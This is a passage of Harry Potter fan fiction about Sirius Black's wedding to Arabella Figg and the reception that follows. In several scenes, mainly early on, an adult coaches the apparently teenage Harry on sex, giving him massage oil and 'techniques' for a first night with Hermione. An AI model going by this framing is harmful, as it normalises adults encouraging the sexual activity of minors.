Don&#8217;t do anything she&#8217;s not willing to do.&#8221;</p>\n\n<p>Sirius reached into the deep pocket of his wizarding tuxedo and pulled out a small bottle of oil.&nbsp; &#8220;Here Harry, take this.&nbsp; It&#8217;s some massage oil.&nbsp; I had planned to use it tonight, just to give Arabella a little pleasure.&nbsp; It&#8217;s still too soon after her giving birth for us to make love.&#8221;</p>\n\n<p>Harry waved his hands in the air.</p>\n\n<p>&#8220;I know, I know, too much information.&nbsp; That&#8217;s fine.&nbsp; I won&#8217;t tell you any more about our sex life.&nbsp; Anyway, I think you could use it more than me.&nbsp; This will help Hermione to relax and even if you two don&#8217;t go all the way&#8230;she&#8217;ll probably let you touch her in some places that you&#8217;ve only dreamed of.&nbsp; There&#8217;s also some techniques I&#8217;m going to tell you that you might find helpful.&#8221;</p>\n\n<p>Sirius began telling things to Harry that made him blush furiously, but he was grateful that his godfather was taking the time to talk frankly with him.&nbsp; He felt really nervous and wasn&#8217;t sure what he was supposed to do.&nbsp; </p>\n\n<p>As they finished up that discussion, Remus Lupin walked in the room.&nbsp; He was wearing what appeared to be his best robes, they were still a little tattered but much nicer than the everyday robes he had worn while teaching.</p>\n\n<p>&#8220;Harry?&nbsp; Oh my, you have grown so much in the last two years.&nbsp; You look great,&#8221; said Lupin smiling.</p>\n\n<p>&#8220;I haven&#8217;t gotten much taller,&#8221; he protested.</p>\n\n<p>&#8220;Maybe not, but your face has matured and you look so much like James did when we were at school.&nbsp; How are you?&#8221;</p>\n\n<p>&#8220;Great.&nbsp; This has got to be one of the best days of my life,&#8221; answered Harry.</p>\n\n<p>&#8220;It&#8217;s a day I never thought I&#8217;d live to see,&#8221; joked Lupin as he elbowed Sirius in the ribs.&nbsp; &#8220;I didn&#8217;t think there was a woman alive that could tame this wild dog.&#8221;</p>\n\n<p>&#8220;Moony, old boy &#8211; I&#8217;m glad you&#8217;re here with me,&#8221; said Sirius clapping him on the back.</p>\n\n<p>&#8220;I couldn&#8217;t miss seeing Padfoot tie the knot.&nbsp; I just wish you didn&#8217;t have to do this on a day like today,&#8221; Lupin said wistfully.&nbsp; &#8220;I&#8217;ll have to leave early and miss out on all the fun.&#8221;</p>\n\n<p>Harry understood.&nbsp; Tonight was going to be a full moon.</p>\n\n<p>&#8220;Sorry about that, but Dumbledore thought it would be best to do this today.&nbsp; At least you can see me get married, have some dinner and maybe stay for a dance or two before you head to the Shrieking Shack.&#8221;</p>\n\n<p>&#8220;Who&#8217;s watching the Zone?&#8221; Harry asked.</p>\n\n<p>&#8220;Fletcher.&nbsp; Snape is going to be there with him during the wedding, but McGonagall&#8217;s going to replace him during the reception.&nbsp; They&#8217;ll be staying together there until Arabella and I arrive back home tomorrow.&#8221;&nbsp; Then Sirius leaned towards Harry, &#8220;Arabella&#8217;s hoping that they&#8217;ll hit it off with each other.&#8221;</p>\n\n<p>&#8220;McGonagall and Fletcher?&#8221; Lupin said amusedly.&nbsp; &#8220;They&#8217;d make an odd couple.&#8221;</p>\n\n<p>&#8220;Maybe so, but they&#8217;re both lonely,&#8221; Sirius added.&nbsp; &#8220;Arabella hates to see people lonely for that long.&nbsp; She, umm, even suggested that her aunt give Fletcher a haircut.&#8221;</p>\n\n<p>&#8220;A haircut?&#8221; asked Harry.&nbsp; &#8220;What good would that do?&#8221;</p>\n\n<p>&#8220;Oh it&#8217;s been known to bring people together before,&#8221; he said with a twinkle in his eye.</p>\n\n<p>&#8220;What do you mean by that?&#8221; Harry asked perplexed.</p>\n\n<p>&#8220;Don&#8217;t ask.&nbsp; You <i>don&#8217;t</i> want to know,&#8221; Sirius said.</p>\n\n<p>&#8220;Did you say once that Arabella&#8217;s parents had died?&#8221; Harry asked changing the subject.</p>\n\n<p>Sirius nodded.</p>\n\n<p>&#8220;So is your father walking Arabella down the aisle?&#8221; </p>\n\n<p>Sirius shook his head quickly, &#8220;Uh, no.&nbsp; You just touched on a subject that Arabella has very intense feelings about.&nbsp; She&#8217;s never liked the idea of a man &#8216;giving away&#8217; a woman to another man.&nbsp; She said it reminds her of batons being passed as if women were simple possessions.&nbsp; No, she freely gave her love to me and she will walk <i>herself</i> down the aisle.&#8221;</p>\n\n<p>&#8220;Oh, I never thought of it that way,&#8221; Harry said sounding embarrassed.</p>\n\n<p>&#8220;I hadn&#8217;t either until she said something.&nbsp; In fact in her first wedding she had both of her parents walk her down the aisle and her husband had the same thing done.&nbsp; It was more like the joining of families which she preferred symbolically than the old bridal give-away imagery that she hates so much.&#8221; </p>\n\n<p>Harry then thought of something which made him start laughing and he shook his head slightly, &#8220;I&#8217;ve got to tell you guys this.&nbsp; Ron told me last year that he thought you two were a couple.&#8221;</p>\n\n<p>Sirius gave Harry a look of shocked amusement, then he and Lupin looked at each other and burst out laughing.&nbsp; </p>\n\n<p>&#8220;What ever made him think that?&#8221; asked Sirius.</p>\n\n<p>&#8220;Uh, I think it was when you two hugged in the Shrieking Shack,&#8221; Harry answered sheepishly.</p>\n\n<p>Sirius looked at Lupin up and down.&nbsp; &#8220;Sorry, but I like my lovers to have a little less hair on their chests.&nbsp; And definitely less hair on their backs!&#8221;</p>\n\n<p>&#8220;Padfoot&#8217;s not my type either,&#8221; Lupin said with his eyebrows furrowed.</p>\n\n<p>&#8220;Yeah, by seventh year Moony looked like he was a walking mass of fur &#8211; even when there wasn&#8217;t a full moon,&#8221; laughed Sirius.</p>\n\n<p>&#8220;<i>Shut</i>\n\n<i>up</i>, Padfoot,&#8221; Lupin said laughing and looking fondly at his friend.</p>\n\n<p>Sirius embraced him in a big bear hug, which turned into a mini-wrestling match.</p>\n\n<p>&#8220;I missed you so much,&#8221; Lupin said as they broke the embrace.</p>\n\n<p>&#8220;Me too, Moony,&#8221; Sirius said.&nbsp; &#8220;See Harry, real men can hug and still like women.&#8221;</p>\n\n<p>&#8220;I told him that he was wrong,&#8221; Harry offered, &#8220;but that was before I knew about you and Arabella.&#8221;<i>\n\n</i></p>\n\n<p>Sirius looked at his watch and patted Harry on the back, &#8220;Come on, it&#8217;s time to go.&#8221;</p>\n\n<p>&#8220;Sirius, I didn&#8217;t have a chance to get you any gift,&#8221; Harry said sounding disappointed.</p>\n\n<p>&#8220;Harry, you saved my life and you came up with a plan to exonerate me.&nbsp; I don&#8217;t think there&#8217;s any greater gift you could give me.&nbsp; I certainly don&#8217;t need something from you with a bow on it,&#8221; Sirius said.</p>\n\n<p>&#8220;Well, how about something for Soraya?&#8221;</p>\n\n<p>&#8220;Okay, we&#8217;ll go shopping later this week,&#8221; Sirius relented.&nbsp; &#8220;Hey Moony, make yourself useful.&nbsp; We have guests that need to be ushered to their seats.&#8221; </p>\n\n<p>&#8220;Sure thing, Padfoot.&nbsp; Come on, Harry let&#8217;s go,&#8221; said Lupin.</p>\n\n<p>They walked outside into the bright sunshine and into the topiary gardens.&nbsp; There were rows of white wooden folding chairs set up with a long white satin walkway in between them.&nbsp; A makeshift altar was set up in front of a water fountain.&nbsp; </p>\n\n<p>The guests were milling around in the rose gardens.&nbsp; Harry noticed that the house-elves were all wearing the same outfit.&nbsp; They had white button down shirts, short navy blue pants, red knobby socks, black shoes and wore the same styled red beret that he had seen in Dobby&#8217;s room.&nbsp; It looked like they were wearing uniforms.&nbsp; It was hard to tell the females from the males, but upon closer inspection he saw that the females wore red bows around their necks while the males had red ties.</p>\n\n<p>&#8220;Umm, Harry, you&#8217;re looking sharp,&#8221; Ron sniffed as he came up to his friend.</p>\n\n<p>&#8220;Er, thanks,&#8221; said Harry blinking as he looked at Ron&#8217;s dark green robe.&nbsp; &#8220;Your dress robe looks better than the one you wore last year.&#8221;</p>\n\n<p>&#8220;Anything would be better than that,&#8221; Ron said as he rolled his eyes.&nbsp; &#8220;Hey, what&#8217;s up with the elves?&nbsp; They almost look like militants.&#8221;</p>\n\n<p>&#8220;You never know what they&#8217;re up to,&#8221; Harry said cryptically.&nbsp; &#8220;We need to come up with new signals.&#8221;</p>\n\n<p>&#8220;I know, I know.&nbsp; I&#8217;ve been trying to think of something subtle, but better than sniffing,&#8221; Ron then pulled on Harry&#8217;s arm.&nbsp; &#8220;Who&#8217;s that with Filch?&#8221; </p>\n\n<p>&#8220;Must be his date.&#8221;</p>\n\n<p>&#8220;I never thought I&#8217;d see Filch with a date.&nbsp; Hmm, she looks a little familiar to me.&nbsp; I just can&#8217;t place her,&#8221; Ron said.</p>\n\n<p>Harry was still bound by Dumbledore to keep the life story of Mrs. Norris a secret, so he hoped Ron wouldn&#8217;t recognize the family resemblance with Narcissa Malfoy.&nbsp; He supposed that since the student body had left the school that Mrs. Norris thought it was safe to show her face at the wedding.&nbsp; Besides, he figured that Arabella probably insisted that the elderly witch share in the joyous occasion and thought that since the staff was trusted by Dumbledore and that they were therefore trustworthy with the woman&#8217;s secret whereabouts.</p>\n\n<p>Harry walked up to Mrs. Norris and offered his arm to walk her to be seated.&nbsp; She looked much more at peace with herself than the day she revealed her secrets.&nbsp; Filch even looked different.&nbsp; He had a contented smile on his face and his disposition no longer seemed cruel and bitter.</p>\n\n<p>Lupin was busy walking different faculty members down the aisle.&nbsp; He took both Professors McGonagall and Sprout down at the same time.&nbsp; Later he took Professors Vector, Sinistra, Trelawney and Madam Pince.&nbsp; They seemed to be waiting in queue for Lupin and didn&#8217;t want a mere student as their escort.</p>\n\n<p>Harry noticed that there was a crowd of people that had gathered in front of Neville&#8217;s parents.&nbsp; Frank and Claire Longbottom looked much better than they had when they arrived at Hogwarts.&nbsp; They were still using wheelchairs because their muscles hadn&#8217;t fully recovered.&nbsp; They could walk for short distances, but still needed assistance.&nbsp; Harry had met them briefly a few weeks earlier when Neville wanted his parents to meet him.&nbsp; They had been very polite and kind and spoke highly of James and Lily Potter.&nbsp; Alastor &#8220;Mad-Eye&#8221; Moody was standing near the Longbottoms and seemed almost jovial.&nbsp; </p>\n\n<p>Mr. Weasley walked into the garden and was visibly surprised to see Neville&#8217;s parents.</p>\n\n<p>&#8220;By Merlin&#8217;s beard, I don&#8217;t believe it!&nbsp; Frank.&nbsp; Claire.&nbsp; Wh-what happened?&#8221; he stammered.</p>\n\n<p>&#8220;Arthur, it&#8217;s good to see you again,&#8221; Mr. Longbottom said extending his hand.</p>\n\n<p>&#8220;It&#8217;s good to see you too,&#8221; Mr. Weasley said shaking his hand, &#8220;but&#8230;what happened?&#8221;</p>\n\n<p>&#8220;It&#8217;s a long story,&#8221; Mr. Longbottom sighed, &#8220;and one that we will have to tell you.&nbsp; It would be better for us to do that officially though, in your office later this week.&#8221;</p>\n\n<p>&#8220;Sure, I&#8217;ll be looking forward to that,&#8221; Mr. Weasley said.&nbsp; &#8220;I&#8217;ve taken tomorrow off to see the kids home safely, but I will be in the office the rest of the week.&nbsp; Heck since Fudge&#8217;s dismissal, I&#8217;ve wound up staying at the office for at least twelve hours a day.&nbsp; The investigation just gets bigger every day.&nbsp; The Ministry truly was a viper&#8217;s nest of corruption.&nbsp; Today is the first day I&#8217;ve taken off since the scandal broke.&#8221;</p>\n\n<p>&#8220;I feel at ease knowing that you&#8217;re our new Minister of Magic,&#8221; said Mr. Longbottom.</p>\n\n<p>&#8220;Now Frank, I&#8217;m just the acting Minister until the inquiry is complete.&nbsp; Then we&#8217;ll have to schedule an election.&#8221;</p>\n\n<p>&#8220;But you&#8217;ll be running for the position, won&#8217;t you?&#8221; asked Mr. Longbottom.</p>\n\n<p>Mr. Weasley smiled and winked at him.</p>\n\n<p>Dumbledore came up behind Neville.&nbsp; The Headmaster was wearing a midnight blue cloak decorated with embroidered golden stars.&nbsp; He put his hand on Neville&#8217;s shoulder and said softly, &#8220;As soon as your parents make their statement to the Ministry, we&#8217;ll start planning that long overdue funeral service.&nbsp; I also think that your parents might be ready to go back to your home in the next week or so.&#8221; </p>\n\n<p>Neville nodded and then he and Harry helped move the Longbottoms into a prime viewing area on the bride&#8217;s side of the gallery.&nbsp; Madam Pomfrey sat near them.&nbsp; Harry returned to the staging area and helped to show Percy and Penny to their seats.&nbsp; As he walked back he saw Ginny waiting anxiously for him.&nbsp; She was wearing a terra cotta coloured dress and copper coloured lipstick, which complimented her complexion.&nbsp; She squeezed his arm as he was walking her down the aisle to her seat.</p>\n\n<p>&#8220;I never got a chance to dance with you at the Yule Ball.&nbsp; I thought maybe we could have at least one dance tonight,&#8221; she said with hope in her voice.</p>\n\n<p>&#8220;Sure, Ginny.&nbsp; Come and find me,&#8221; he said.&nbsp; He hoped that Ginny wouldn&#8217;t be too disappointed when she found out about his relationship with Hermione.&nbsp; </p>\n\n<p>Soon the rest of the guests were seated.&nbsp; Kathleen and Galileo Black were the last ones to go down the aisle carrying Soraya.&nbsp; They were seated in the very front row beaming at their handsome son the groom. </p>\n\n<p>As Harry and Sirius stood at the front of the altar, Dumbledore cast a spell on a large golden harp.&nbsp; Soft, beautiful notes began to play and Hermione began walking down the aisle.&nbsp; Harry&#8217;s heart melted as soon as he saw her.&nbsp; He had never seen her look quite so beautiful and mature.&nbsp; She was wearing a white satin tea length dress with a scoop neckline, a large purple sash at her waist and carried a bouquet of yellow roses that had purple, green and white ribbons fluttering in the breeze.&nbsp; Her hair had been plaited into a French braid with baby&#8217;s breath adorning it.&nbsp; His heart skipped a beat as she gave him a warm smile as she passed by him.&nbsp; He had to shake his head and remind himself that she wasn&#8217;t the bride.&nbsp; He looked up at Sirius and saw his godfather draw himself up in anxious anticipation of his bride&#8217;s entrance.</p>\n\n<p>The audience turned and stood as Arabella made her appearance under the arched trellis that was draped with roses in full bloom.&nbsp; She was wearing a floor length ivory gown made of satin with an empire waist and a scoop neckline.&nbsp; Her bodice was encrusted with pearls and she carried a large bouquet of white roses.&nbsp; Her long hair was braided and she had a headpiece covered in pearls.&nbsp; She had a radiance about her that was palpable.&nbsp; Sirius looked at her with such love in his eyes that they began to water.&nbsp; Dumbledore smiled warmly as the bride took her place next to the groom. </p>\n\n<p>&#8220;It is with great pleasure that I stand before you today to join together Sirius Black and Arabella Figg in marriage,&#8221; Dumbledore announced. &#8220;Love is the most powerful magic of all.&nbsp; Their love was forged out of tragedy and has spanned many years of separation and isolation.&nbsp; Yet it endured and it now flourishes.&nbsp; This is a love that has transformed them into being better people and now proud parents.</p>\n\n<p>&#8220;Life is a series of obstacles and the test of one&#8217;s character is how you respond to those obstacles.&nbsp; Some people declare defeat and refuse to respond to a challenge.&nbsp; Others willingly meet every obstacle head on.&nbsp; But finding happiness and love is also a challenge and one that demonstrates your true mettle.&nbsp; To find happiness and love regardless of your station in life and the handicaps that have befallen you can sometimes be the greatest challenge of all.&nbsp; One must seek out happiness in whatever they are doing and to try whenever possible to lighten the load of others along the way of Life&#8217;s journey.&nbsp; And that is the Meaning of Life.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius Black do you freely enter into the contract of marriage with Arabella Figg?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do.&#8221;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And do you Arabella Figg freely enter into the contract of marriage with Sirius Black?&#8221; asked Dumbledore.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you have the rings?&#8221; Dumbledore asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry handed two rings to Sirius.&nbsp; The groom took his bride&#8217;s left hand in his and placed a large ruby solitaire on it and followed it with a gold band with Celtic knots engraved on them.&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius looked her in the eye and said solemnly, &#8220;Arabella, I promise to love you, to care for you and to be faithful to you for all the days of my life.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione handed a ring to Arabella.&nbsp; The bride placed the matching gold band with engraved Celtic knots on the groom&#8217;s left hand. </p>\n\n<p>&#8220;Sirius, I promise to love you, to care for you and to be faithful to you for all the days of my life,&#8221; she said gazing lovingly at him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;In the name of Merlin and all that is holy, I consecrate and bless this union,&#8221; Dumbledore said and waved his arm.&nbsp; A broomstick flew through the air and landed before the bridal couple&#8217;s feet.&nbsp; &#8220;Once you jump over the broomstick you will be married.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius and Arabella squeezed each other&#8217;s hand and made a small jump over the ceremonial broomstick.&nbsp; He pulled her into his arms and gave her a long and passionate kiss.&nbsp; Professor McGonagall blew her nose loudly as the audience applauded politely to the married couple.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore waved his arm and a cage full of white doves was magically opened allowing them to fly into the sky.&nbsp; Harry then noticed that the headmaster&#8217;s terrarium was placed on the ground next to the doves&#8217; cage.&nbsp; The glass that covered the terrarium disappeared and various bugs flew out.&nbsp; One large black beetle seemed to shoot out of the glass container like it was a rocket.&nbsp; Harry suppressed a laugh realizing that Rita Skeeter was now free.&nbsp; Her knowledge of Sirius being in Dumbledore&#8217;s camp could no longer harm anyone.&nbsp; He hoped that her prolonged period of &#8216;inconvenience&#8217; might prove to be a learning experience to her about the dangers of misrepresenting oneself.&nbsp; </p>\n\n<p>Sirius and Arabella walked arm in arm down the aisle with smiles that would light up a city.&nbsp; Harry offered his arm to Hermione and they followed down the aisle at a much slower pace.&nbsp; They stood near the rose covered trellis and formed the receiving line and greeted all the guests.&nbsp; It felt strange for Harry to see all of the faculty members in a different setting.&nbsp; It was still school and all, but this seemed different somehow.&nbsp; </p>\n\n<p>Shortly afterward they had the formal wedding photos taken.&nbsp; Harry was very careful to keep his head forward and looking at the camera.&nbsp; He had learned a painful lesson about wizarding photographs and didn&#8217;t want any repeat embarrassments especially under these happy circumstances.&nbsp; After that was done the wedding party sat down at the head table where the dinner had just been served.&nbsp; It was an elegant serving of beef tenderloin medallions with a port reduction sauce, garlic mashed potatoes and steamed baby vegetables.</p>\n\n<p>A waiter came around and poured sparkling wine into their champagne flutes.&nbsp; Harry was surprised to see that he was served, but quickly grabbed his glass.&nbsp; He found that it tickled his nose and was surprised with the fizzy taste on his tongue.</p>\n\n<p>Lupin walked behind Sirius and Arabella and lifted his wine glass,&nbsp; &#8220;I know that traditionally this role goes to the best man, but I simply must say a few words before I have to leave.&nbsp; I&#8217;ve known Sirius since we were both eleven years old.&nbsp; There isn&#8217;t anyone I can think of that has been more like a brother to me than he has.&nbsp; I&#8217;ve also known Arabella for close to twenty years.&nbsp; And I would never have thought of putting those two together as a couple.&nbsp; That&#8217;s because she was always careful, meticulous and thoughtful.&nbsp; Sirius, on the other hand was a brash, leap-before-you-look kind of guy.&nbsp; I didn&#8217;t think that he&#8217;d ever settle down.&nbsp; And now with the benefit of a few more years under our collective belts they have come together and complement each other beautifully.&nbsp; Arabella has tamed the mad dog and now he&#8217;s even a <i>devoted father</i>.&nbsp;&nbsp; That&#8217;s something I simply never thought I&#8217;d live to see.&nbsp; Here&#8217;s to Sirius and Arabella.&nbsp; May your love grow stronger and last for a long, long time.&#8221;</p>\n\n<p>He lifted his glass and everyone followed suit.&nbsp; Sirius smiled and punched Lupin on the shoulder.</p>\n\n<p>&#8220;Thanks Moony, I love ya pal!&#8221;</p>\n\n<p>&#8220;Same here Padfoot.&nbsp; And now, I think I&#8217;d better be off before I spoil things,&#8221; Lupin said and turned to the bride.&nbsp; &#8220;Arabella, congratulations and I wish you the best of luck with this guy.&#8221;</p>\n\n<p>&#8220;Thank you, Remus,&#8221; she said as she gave him a warm kiss on the cheek.&nbsp; &#8220;I&#8217;m glad you could share this day with us.&nbsp; Now please hurry.&#8221;</p>\n\n<p>Lupin gave her a kiss and smiled at her with a look of adoration in his eyes.&nbsp; &#8220;You are an incredible woman.&nbsp; Sirius is a very lucky dog.&#8221;</p>\n\n<p>&#8220;Off with you!&#8221; Sirius barked as he smacked him on the back.</p>\n\n<p>&#8220;Harry, I hope to see you soon,&#8221; Lupin said as he took his leave. </p>\n\n<p>Sirius leaned over to Harry and said in an undertone, &#8220;You can only have one glass of champagne.&nbsp; Same goes for Hermione.&nbsp; I don&#8217;t want either one of you to be under any influence of alcohol when you are together later tonight.&nbsp; Got that?&#8221;</p>\n\n<p>Harry nodded and looked over at Hermione.&nbsp; Sirius was right, alcohol could lead to disastrous consequences if they tried to get intimate and were drunk.&nbsp; They would need to have their wits about them, especially with this being their first time.</p>\n\n<p>After dinner concluded, the Weird Sisters set up their instruments on one corner of the dance floor.&nbsp; They were warming up and Harry felt a familiar uneasiness in his stomach.&nbsp; Dancing.&nbsp; He shook his head.&nbsp; He never warmed to the idea of dancing.&nbsp; It was something he would rather never do.</p>\n\n<p>The first dance was reserved for the bride and groom.&nbsp; They danced slowly and sensuously across the dance floor.&nbsp; Harry wondered if Arabella would have danced faster if she hadn&#8217;t given birth only three weeks before.&nbsp; He sat there watching them and being entranced.&nbsp; He didn&#8217;t realize that Hermione had sat down next to him.</p>\n\n<p>&#8220;We&#8217;re up next,&#8221; she said.</p>\n\n<p>&#8220;What?&#8221; he asked.</p>\n\n<p>&#8220;The second dance is for the wedding party.&nbsp; Sirius&#8217;s parents will also be on the dance floor.&nbsp; At least at the beginning of the song, then other couples will be allowed on to join us.&#8221;</p>\n\n<p>The song ended and Hermione took him by the hand to the dance floor.</p>\n\n<p>&#8220;I don&#8217;t really know how to dance,&#8221; Harry confessed.</p>\n\n<p>&#8220;You don&#8217;t need to,&#8221; Hermione said kindly, &#8220;just put your hands behind my waist, like this.&#8221; She said as she positioned his hands in the small of her back.&nbsp; &#8220;And I&#8217;ll put my arms around your neck like this.&#8221;</p>\n\n<p>Harry began to feel very warm holding her in his arms.</p>\n\n<p>&#8220;And now we can just move slowly on the dance floor.&nbsp; We don&#8217;t have to worry about fancy steps or anything like that,&#8221; she said softly.&nbsp; &#8220;Just hold me.&#8221;</p>\n\n<p>&#8220;I can do that,&#8221; he said pressing his body against hers.</p>\n\n<p>They swayed slowly to the music.&nbsp; Harry could feel the warmth of Hermione&#8217;s body through the fabric of her dress.&nbsp; He caressed her back as he felt her chest rise and fall against his.&nbsp; He wanted to make love with her right then and there, but knew that they&#8217;d have to wait just a few more hours.&nbsp; The dance floor soon filled with other couples.</p>\n\n<p>&#8220;I love your scent,&#8221; he said inhaling deeply.</p>\n\n<p>&#8220;I bought that perfume with you in mind,&#8221; she whispered in his ear.</p>\n\n<p>&#8220;Are you still concerned about public displays of affection?&#8221; he asked.</p>\n\n<p>&#8220;School&#8217;s out remember?&nbsp; Those rules no longer apply,&#8221; she replied with a smile.</p>\n\n<p>Harry started kissing her.&nbsp; They quickly lost all notice of the song that they were dancing to and they continued moving in a circle after the music stopped.&nbsp; It took them a few moments to realize that everyone around them had stopped dancing and were now staring at them.&nbsp; They broke their kiss and looked around the crowd and were embarrassed as they were applauded.&nbsp; Harry noticed that Ron turned his head and Ginny hastily left the table and did not look pleased at all.&nbsp; Oh well, Harry thought, she had to find out sometime that he had given his heart to another.</p>\n\n<p>Harry and Hermione decided to sit the next dance out and sat down at a neighbouring table.&nbsp; Percy looked like he had consumed a few too many glasses of champagne. &nbsp;His eyes were bleary and he was running his hands through his hair.</p>\n\n<p>&#8220;I was a fool.&nbsp; I was just a bloomin&#8217; idiot.&nbsp; Dad, Mum, you were right all along,&#8221; Percy said to them with slurred speech.&nbsp; &#8220;I thought that if I simply followed what Fudge said that I was helping the Wizarding World.&nbsp; I never stopped to question anything that he said or did.&nbsp; I just checked my brain at the door.&nbsp; You-Know-Who didn&#8217;t need to try and recruit me, because I was doing everything Fudge wanted.&nbsp; Now as I look back, there were so many things that were wrong.&nbsp; I should have recognized it.&nbsp; You tried telling me that since last summer, but I wouldn&#8217;t listen.&nbsp; I thought I knew everything and that <i>you</i> were out of touch.&#8221; </p>\n\n<p>Percy took another long drink of wine.&nbsp; He turned and looked apologetically at Harry.&nbsp; &#8220;I&#8217;m sorry I thought you were evil.&nbsp; I should have known better.&nbsp; I&#8217;ve known you for years and you&#8217;ve been accepted in my family&#8230;I was blinded by my own ambitions.&nbsp; It was easier for me to think bad of you than to admit a worse reality might be possible.&nbsp; Even when all the evidence pointed that you were telling the truth.&nbsp; I was helping in the effort to put you away.&nbsp; You, Dumbledore, Snape, Black and Figg.&nbsp; If it weren&#8217;t for Hermione&#8230;,&#8221; he choked, &#8220;you&#8217;d all be in Azkaban.&nbsp; I shouldn&#8217;t even be here.&nbsp; I don&#8217;t deserve to be.&nbsp; I &#8211; I &#8221;</p>\n\n<p>&#8220;Now Percy,&#8221; Mrs. Weasley said in a comforting voice, &#8220;Sirius and Arabella know that you aren&#8217;t evil.&nbsp; You were just eager to please.&nbsp; Too eager to please.&nbsp; I think you&#8217;ve learned a painful lesson that people are not always what they appear to be.&nbsp; Crouch, Fudge or Sirius Black.&#8221;</p>\n\n<p>Percy sighed heavily and turned to Penelope, &#8220;Penny, can you ever forgive me?&nbsp; I&#8217;ve treated you horribly in the last few months.&nbsp; Arguing with you over trivial matters such as appetizers and party favours.&nbsp; I love you so much and I realize now that my obsession with success was damaging our relationship.&nbsp; I wouldn&#8217;t blame you if you wanted to break off our engagement, but I beg of you to please give me another chance to prove my love to you.&#8221;</p>\n\n<p>She looked at Percy with tears in her eyes and kissed him.</p>\n\n<p>&#8220;Percy, you are on the right track,&#8221; Mr. Weasley said leaning forward, &#8220;to have a long and successful marriage you need to learn to say two words, &#8216;yes, Dear.&#8217;&nbsp; And you need to realize that there are certain topics that are not worthwhile debating because you&#8217;ll never win.&nbsp; Things like wedding plans and decorating your house.&nbsp; You don&#8217;t want to argue about curtains or area rugs.&nbsp; It&#8217;s best to recognize that if you want harmony in your relationship that sometimes your opinion will only complicate matters.&#8221;</p>\n\n<p>Mrs. Weasley patted her husband&#8217;s hand.&nbsp; &#8220;Percy, listen to your father on this.&nbsp; He knows what he&#8217;s talking about.&#8221;</p>\n\n<p>Percy began to pick up his glass of wine and Penny took it from him.&nbsp; </p>\n\n<p>&#8220;I think you&#8217;ve had enough,&#8221; she said as she grabbed his hand.&nbsp; &#8220;Come dance with me, my love.&#8221;</p>\n\n<p>They left the table and Percy stumbled as they went onto the dance floor.&nbsp;&nbsp; Hagrid came up to the groom and tapped him on the shoulder.&nbsp; </p>\n\n<p>&#8220;Sirius, I&#8217;ve got somethin&#8217; fer ya.&nbsp; I apologize if she&#8217;s gonna need some work fixin&#8217; up.&nbsp; I used her five years ago ta&#8217; reach Harry when his uncle tried to hide him from us.&nbsp; The Dursley&#8217;s took the lad to a remote island out in the sea.&nbsp; I had ta&#8217; fly it there to reach &#8216;em.&nbsp; I wound up leavin&#8217; her there and was happy to see she was still waitin&#8217; there fer me.&nbsp; Course I tried ta&#8217; put a curse on it so that no one could move her.&#8221;</p>\n\n<p>Hagrid then walked behind his hut and rolled out the long lost large black motorcycle.&nbsp; Sirius&#8217;s jaw dropped.</p>\n\n<p>&#8220;Hagrid!&#8221; Sirius said beaming as he went to examine the bike close up, &#8220;You brought her back to me.&nbsp; My first true love.&nbsp; Thank you so much, do you have any idea how many dates I got because of this bike?&#8221;</p>\n\n<p>Arabella cast him a disapproving look.</p>\n\n<p>&#8220;Come on, Bella.&nbsp; If I remember correctly, you liked riding on it, too,&#8221; he chided her.</p>\n\n<p>&#8220;It did come in handy a few times,&#8221; she admitted.</p>\n\n<p>&#8220;Sirius, did you realize that we passed the Muggle Protection Act because of that bike?&#8221; began Mr. Weasley, &#8220;Something like a flying motorcycle was a bit too flashy and too many Muggles had seen you flying around on it.&#8221; </p>\n\n<p>&#8220;Arthur, did you put in any grandfather clauses in that act by any chance?&#8221; asked Sirius.</p>\n\n<p>&#8220;Well, umm,&#8221; Mr. Weasley said uncomfortably, &#8220;as a matter of fact, ah, yes.&nbsp; Technically your bike isn&#8217;t covered under the Act.&#8221;</p>\n\n<p>Sirius slapped him generously on the back, &#8220;You&#8217;re a good man, Arthur!&nbsp; I knew that I always liked you.&nbsp; Yup, the two things I&#8217;ve missed the most over the years, besides Arabella of course, was this bike and my black leather trousers.&#8221;</p>\n\n<p>&#8220;Leather trousers?&nbsp; I don&#8217;t remember seeing you wear anything like that,&#8221; she said sounding very interested.</p>\n\n<p>&#8220;Well, I only wore them on dates and back then you were not only my boss, but an old married lady.&nbsp; I never would have worn them around you, but umm, I could get another pair,&#8221; he said smiling, &#8220;just for you.&#8221;</p>\n\n<p>&#8220;Sounds nice,&#8221; she said giving him a knowing look.</p>\n\n<p>&#8220;Maybe I ought to get Harry a pair while I&#8217;m at it,&#8221; Sirius said giving Hermione a wink.</p>\n\n<p>Hermione looked appreciatively at Harry, &#8220;Hmm, leather?&nbsp; That I&#8217;d like to see.&#8221;</p>\n\n<p>Harry started shaking his head and blushing. </p>\n\n<p>&#8220;Sirius, that&#8217;ll make his Aunt Petunia 